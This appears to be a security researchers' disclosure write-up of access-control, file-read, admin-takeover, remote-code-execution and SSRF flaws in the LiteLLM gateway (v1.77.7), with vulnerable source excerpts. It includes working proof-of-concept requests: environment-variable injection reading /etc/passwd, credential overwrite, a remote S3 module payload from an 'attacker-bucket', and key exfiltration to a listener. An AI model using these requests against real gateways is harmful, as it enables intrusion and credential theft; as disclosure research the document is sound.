When LLM Gateways Go Wrong: Findings from LiteLLM A security assessment of LiteLLM version 1.77.7 uncovered multiple high-severity vulnerabilities, tracked as CVE-2026-35029 and CVE-2026-59823, that were resolved in LiteLLM version 1.83.9. The most significant flaw was a missing role-based access control check on the POST /config/update endpoint, which let any authenticated user, including low-privileged accounts, modify the proxy's runtime configuration and thereby achieve arbitrary file read, administrative account takeover, and remote code execution via malicious Python modules loaded from cloud storage. A separate server-side request forgery vulnerability in the "Clientside LLM Credentials" feature allowed attackers to redirect API calls and exfiltrate provider keys. Our security assessment of LiteLLM v1.77.7 , a widely used open-source LLM gateway, uncovered multiple high-impact vulnerabilities tracked as CVE-2026-35029 https://nvd.nist.gov/vuln/detail/cve-2026-35029 , CVE-2026-59823 which have been resolved as of LiteLLM version 1.83.9. The most significant issues stemmed from a missing authorization check on the /config/update endpoint, which allowed any authenticated user including low-privileged accounts to modify the proxy’s runtime configuration. This single flaw enabled arbitrary file read, administrative account takeover, and remote code execution via malicious Python modules loaded from cloud storage. A separate SSRF vulnerability in the “Clientside LLM Credentials” feature allowed attackers to redirect API calls and exfiltrate provider keys. These findings highlight that as AI infrastructure tools rapidly evolve, foundational security practices like proper access control and input validation remain essential. As LLM gateways see wider adoption, understanding the security risks they introduce is essential to deploying them safely within an AI stack. These systems sit between applications and model providers and often handle credentials, configuration, and request routing. We decided to take a closer look at LiteLLM, one of the most popular LLM gateways in use today. What started as an exploratory review uncovered multiple high severity vulnerabilities, including credential extraction, access control bypass, and remote code execution. This post presents our findings and highlights the security pitfalls that can arise in LLM gateway deployments and the wider LLM ecosystem. LLM gateways are systems that sit between an application and one or more LLM providers. Instead of calling model APIs directly, applications route requests through a gateway, which then forwards those requests to the appropriate model backend. In practice, LLM gateways are often used to centralize concerns such as provider abstraction, credential management, request routing, rate limiting, logging, and usage tracking. Many gateways also add higher level features like fallback logic, load balancing across providers, and configuration driven model selection. LiteLLM is an open-source project that provides an SDK and a gateway product for working with multiple LLM providers. The project originated through Y Combinator and is widely used across the LLM ecosystem. In this post, we focus exclusively on the LiteLLM gateway. The gateway is commonly deployed as a standalone service and plays a central role in how LLM requests are handled in many LLM-based applications. Its widespread adoption and position in the request path made it a suitable target for our research. Our review of LiteLLM was conducted against version 1.77.7. The sections below outline the defects we discovered in the LiteLLM gateway. The LiteLLM proxy exposes an administrative endpoint ‘POST /config/update’, designed to allow runtime modifications to the proxy configuration. This endpoint facilitates updating critical settings, including environment variables, model lists, and general proxy settings. The vulnerability stems from a missing role-based access control RBAC check within the endpoint’s implementation, combined with an overly permissive route allowlist for UI sessions. In secure administrative endpoints within LiteLLM e.g., /invitation/new , the code explicitly verifies that the authenticated user possesses the PROXY ADMIN role before proceeding. Secure Example /invitation/new in litellm/proxy/proxy server.py : @router.post “/invitation/new”, tags= “Invite Links” , dependencies= Depends user api key auth , response model=InvitationModel, include in schema=False, async def new invitation data: InvitationNew, user api key dict: UserAPIKeyAuth = Depends user api key auth : … Explicit Role Check if user api key dict.user role = LitellmUserRoles.PROXY ADMIN: raise HTTPException status code=400, detail={ “error”: “{}, your role={}”.format CommonProxyErrors.not allowed access.value, user api key dict.user role, }, … business logic … However, the update config function relies entirely on the generic user api key auth dependency without performing a subsequent role check on the returned user object. Vulnerable Code /config/update in litellm/proxy/proxy server.py : @router.post “/config/update”, dependencies= Depends user api key auth , Only generic auth check include in schema=False, async def update config config info: ConfigYAML : … MISSING: if user role = PROXY ADMIN: raise … … Proceed to update configuration await proxy config.save config new config=config The user api key auth dependency delegates authorization to a common checks function. This function determines if a request is allowed based on the user’s role and the target route. Step 2.a: UI Login Creates Token with litellm-dashboard Team When any user logs into the LiteLLM UI, the backend generates a temporary API key explicitly associated with the special litellm-dashboard team. This occurs in multiple login flows: litellm/proxy/proxy server.py login flows at lines ~7962, ~8066, ~8203 response = await generate key helper fn request type=”key”, { “user role”: user role, “duration”: “24hr”, “key max budget”: litellm.max ui session budget, “models”: , “aliases”: {}, “config”: {}, “spend”: 0, “user id”: user id, “team id”: “litellm-dashboard”, <– Key assignment }, Step 2.b: Token Classification Based on Team ID During authorization, common checks classifies tokens as either “ui” or “api” based solely on the team id field: litellm/proxy/auth/auth checks.py lines 224-227 token team = getattr valid token, “team id”, None token type: Literal “ui”, “api” = “ui” if token team is not None and token team == “litellm-dashboard” else “api” Step 2.c: UI Tokens Get Permissive Route Check If the token is classified as “ui”, the authorization logic routes to is ui route instead of the stricter is api route allowed : litellm/proxy/auth/auth checks.py lines 335-356 def is allowed route route: str, token type: Literal “ui”, “api” , … - bool: if token type == “ui” and is ui route route=route, user obj=user obj : return True <– Bypasses stricter API route checks else: return is api route allowed … Step 2.d: Prefix Matching Allows /config/update The ui routes list includes /config , likely intended to allow reading configuration: litellm/proxy/ types.py lines 490-510 ui routes = “/sso”, “/sso/get/ui settings”, “/login”, “/key/info”, “/config”, <– Likely intended for read-only config access “/spend”, … The is ui route function uses startswith matching: litellm/proxy/auth/auth checks.py lines 247-269 def is ui route route: str, … - bool: allowed routes = LiteLLMRoutes.ui routes.value if route is not None and isinstance route, str and any route.startswith allowed route for allowed route in allowed routes : return True <– /config/update matches startswith “/config” Because /config/update satisfies startswith “/config” , the check passes. The request is permitted for any user with a valid UI session token, regardless of their actual role Admin, Internal User, etc. . This access control failure allows any authenticated user, including those with the baseline “Internal User” role, to invoke POST /config/update and modify the proxy’s runtime configuration. Through this single exposed endpoint, attackers can achieve: Each of these exploitation scenarios is detailed in the following sections. Impact: Read any file accessible to the LiteLLM process, including configuration files, secrets, and credentials. The /config/update endpoint accepts an environment variables field, allowing callers to inject arbitrary key-value pairs into the proxy’s environment. One such variable, UI LOGO PATH , controls the file path served by the /get image endpoint. By setting this variable to a sensitive file path, an attacker can read arbitrary files from the server. Source: Environment Variable Injection When /config/update receives environment variables, it encrypts and persists them to the configuration store. This results in the following code being executed, which decrypts these values and writes them directly to os.environ : litellm/proxy/proxy server.py lines 2841-2860 def decrypt and set db env variables self, environment variables: dict - dict: “”” Decrypts a dictionary of environment variables and then sets them in the environment “”” decrypted env vars = {} for k, v in environment variables.items : try: decrypted value = decrypt value helper value=v, key=k if decrypted value is not None: os.environ k = decrypted value <– Attacker-controlled value set here decrypted env vars k = decrypted value except Exception as e: verbose proxy logger.error “Error setting env variable: %s – %s”, k, str e return decrypted env vars Sink: Unvalidated File Path in /get image The /get image endpoint reads UI LOGO PATH from the environment and serves the file at that path without any validation: litellm/proxy/proxy server.py lines 8329-8358 @app.get “/get image”, include in schema=False def get image : “””Get logo to show on admin UI””” current dir = os.path.dirname os.path.abspath file default logo = os.path.join current dir, “logo.jpg” logo path = os.getenv “UI LOGO PATH”, default logo <– Attacker-controlled verbose proxy logger.debug “Reading logo from path: %s”, logo path if logo path.startswith “http://”, “https://” : … remote URL handling … else: Return the local image file if the logo path is not an HTTP/HTTPS URL return FileResponse logo path, media type=”image/jpeg” <– Arbitrary file read Step 1: Inject UI LOGO PATH environment variable POST /config/update HTTP/1.1 Host: localhost:4000 Authorization: Bearer sk- REDACTED-LiteLLM-API-KEY Content-Type: application/json { “environment variables”: { “UI LOGO PATH”: “/etc/passwd” } } Step 2: Retrieve file contents GET /get image HTTP/1.1 Host: localhost:4000 Response: HTTP/1.1 200 OK content-type: image/jpeg content-length: 812 root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin … sshd:x:22:22:sshd:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin nonroot:x:65532:65532:Account created by apko:/home/nonroot:/bin/sh The server returns the contents of /etc/passwd, demonstrating arbitrary file read capability. Impact: a low-privilege user can assume control over the default administrative account for the LiteLLM instance, allowing total control over the gateway and access to any contained provider credentials. The same environment variable injection primitive can be used to hijack administrative access to the LiteLLM proxy. The UI login flow authenticates users against the UI USERNAME and UI PASSWORD environment variables. By overwriting these values, an attacker can set their own credentials and log in as a full Proxy Admin. Vulnerable Authentication Flow The /login endpoint reads credentials directly from environment variables: litellm/proxy/proxy server.py lines 7882-7896 form = await request.form username = str form.get “username” password = str form.get “password” ui username = os.getenv “UI USERNAME”, “admin” <– Attacker-controlled ui password = os.getenv “UI PASSWORD”, None <– Attacker-controlled if ui password is None: ui password = str master key if master key is not None else None When credentials match, the user is granted full administrative privileges: litellm/proxy/proxy server.py lines 7922-7927 if secrets.compare digest username, ui username and secrets.compare digest password, ui password : Non SSO - If user is using UI USERNAME and UI PASSWORD they are Proxy admin user role = LitellmUserRoles.PROXY ADMIN user id = litellm proxy admin name Step 1: Inject attacker-controlled credentials When authenticated via the UI, the user can update the administrator credentials with the following POST request: POST /config/update HTTP/1.1 Host: localhost:4000 Authorization: Bearer sk- REDACTED-LiteLLM-API-KEY Content-Type: application/json { “environment variables”: { “UI USERNAME”: “hacker”, “UI PASSWORD”: “hacker” } } Step 2: Log in with the injected credentials Navigate to the LiteLLM UI login page and authenticate with: The screenshot below shows the full HTTP request/response pair associated with the login request, showing the new username and password being used, and the request being accepted with the server issuing a JWT for the built-in ‘admin’ account. The next screenshot shows the UI of the dashboard, showing we are indeed logged in as the default admin user. Impact: A low-privilege user can obtain full remote-code execution on the LiteLLM gateway, allowing arbitrary command execution or an interactive reverse shell. Providing full access to all LiteLLM data and a foothold into the network where the LiteLLM gateway is deployed. LiteLLM supports “pass-through endpoints” that can proxy requests to external services or load custom adapter modules. The /config/update endpoint allows defining pass-through endpoints with a target parameter that supports loading Python modules from remote storage S3 or GCS . When a target URL starts with s3:// or gcs:// , LiteLLM downloads and executes the Python file, leading to remote code execution. Step 1: Configuration Update Triggers Endpoint Initialization When /config/update receives general settings.pass through endpoints, it calls update general settings which initializes the endpoints: litellm/proxy/proxy server.py lines 2996-3003 PASS-THROUGH ENDPOINTS if “pass through endpoints” in general settings: general settings “pass through endpoints” = general settings “pass through endpoints” await initialize pass through endpoints pass through endpoints=general settings “pass through endpoints” Step 2: Route Creation Invokes Module Loading During endpoint initialization, the target is passed to create pass through route , which attempts to load it as an adapter: litellm/proxy/pass through endpoints/pass through endpoints.py lines 943-947 try: if isinstance target, CustomLogger : adapter = target else: adapter = get instance fn value=target <– Loads remote module Step 3: Remote Module Download and Execution When the target starts with s3:// or gcs:// , get instance fn delegates to load instance from remote storage : litellm/proxy/types utils/utils.py lines 8-14 def get instance fn value: str, config file path: Optional str = None - Any: module name = value instance name = None try: Check if value starts with s3:// or gcs:// if value.startswith “s3://” or value.startswith “gcs://” : return load instance from remote storage value, config file path This function downloads the Python file and executes it using importlib: litellm/proxy/types utils/utils.py lines 153-159 Load the module from the downloaded file using the actual module name spec = importlib.util.spec from file location module path, local file path if spec is None or spec.loader is None: raise ImportError f”Could not create module spec for {local file path}” module = importlib.util.module from spec spec spec.loader.exec module module <– Arbitrary code execution The call to exec module executes all top-level code in the downloaded Python file, including import-time side effects. Malicious Adapter hosted at s3://attacker-bucket /adapters/evil adapter.py : import os Import-time side effect: create a marker directory os.makedirs “/tmp/litellm-pwned”, exist ok=True class PwnAdapter: def call self, args, kwargs : No-op adapter; existence is enough for get instance fn return None Instance name referenced in the ‘target’ proxy handler instance = PwnAdapter Step 1: Register the malicious pass-through endpoint POST /config/update HTTP/1.1 Host: localhost:4000 Authorization: Bearer sk- REDACTED-LiteLLM-API-KEY Content-Type: application/json { “general settings”: { “pass through endpoints”: { “id”: “pt-rce-poc”, “path”: “/evil”, “target”: “s3://attacker-bucket /adapters/evil adapter.proxy handler instance”, “include subpath”: true } } } When this request is processed, LiteLLM: The screenshot below from inside of the Docker container running LiteLLM shows that our arbitrary code was executed and our marker directory was created: While this proof of concept creates a benign marker directory, an attacker could replace the payload with a reverse shell, credential theft, or any arbitrary code execution. Separately from the access control bypass documented above, LiteLLM exposes a documented feature called “Clientside LLM Credentials” that allows any authenticated user to redirect LLM API calls to arbitrary endpoints. This creates a Server-Side Request Forgery SSRF vulnerability that can be exploited to steal API credentials or probe internal networks. The /chat/completions endpoint and other LLM endpoints accepts a user config parameter in the request body. When present, this parameter causes LiteLLM to create a new router with attacker-controlled settings, including the ability to specify a custom api base URL. When a request contains user config , the routing logic in route llm request.py creates a new router with the attacker’s configuration: litellm/proxy/route llm request.py lines 122-127 elif “user config” in data: router config = data.pop “user config” user router = litellm.Router router config <– Attacker-controlled router ret val = getattr user router, f”{route type}” data user router.discard return ret val No validation is performed on the user config contents. The attacker can specify a complete model list with arbitrary api base values, causing subsequent API calls to be sent to attacker-controlled servers. Attacker’s Server Setup: Set up a listener on an attacker-controlled server e.g., 10.10.13.37:9999 to capture incoming requests. In this case, we use a simple netcat listener but any webserver is sufficient. Malicious Request: When this request is processed: Attacker’s Listener: Below shows the attacker’s listener that receives the original LLM provider API key which the LiteLLM user should not have access to. Note: While LiteLLM’s configurable clientside auth params setting restricts direct api base and api key parameters in the request body, the user config parameter follows a different code path that bypasses these restrictions entirely. This allows the documented “Clientside LLM Credentials” feature to be exploited for SSRF without any guardrails. During our security assessment, we identified several additional vulnerabilities that, while not directly exploitable for full system compromise, represent significant security weaknesses: Note: this issue was reported to LiteLLM and acknowledged at the time of reporting – however the issue appears to be a duplicate finding and is being tracked as GHSA-69×8-hrgq-fjj8. https://github.com/BerriAI/litellm/security/advisories/GHSA-69x8-hrgq-fjj8 The LiteLLM proxy exposes password hashes through various API endpoints, allowing authenticated users to retrieve hashed credentials for other users. This information disclosure increases the attack surface by providing attackers with material that can be subjected to offline cracking attempts. This information is intended to only be accessible to administrative accounts; however, due to the previously described issue with the UI based tokens, a low privileged user can access the password hashes for other accounts. Password hashes in LiteLLM are generated using a single iteration of a standard hash function without salting, rather than using modern password hashing algorithms like bcrypt, scrypt, or Argon2. This approach provides minimal protection against brute-force attacks and rainbow table lookups: These weaknesses significantly reduce the effort required for an attacker to crack exposed password hashes. The vulnerabilities documented in this post were disclosed to the LiteLLM maintainers through a coordinated disclosure process. This security assessment of LiteLLM revealed multiple high-risk vulnerabilities that could be chained together to achieve remote code execution, arbitrary file access, and complete system compromise. The most severe issue, the missing authorization checks in /config/update combined with environment variable injection, demonstrates how a single oversight in access control can cascade into multiple high-impact exploitation paths. LiteLLM represents an important innovation in the LLM ecosystem, providing a unified interface and management layer for interacting with language models. The rapid development pace in this space has produced powerful tools that solve real problems for organizations deploying AI systems at scale. However, speed of innovation must not come at the expense of fundamental security practices. The vulnerabilities documented here are not novel attack classes; they include missing authorization checks, path traversal, RCE via dynamic module loading, and insecure password storage. These are well-understood security issues with established mitigation patterns. Their presence in production code highlights a concerning trend: as the AI and LLM ecosystem races forward, traditional security fundamentals are sometimes treated as secondary concerns.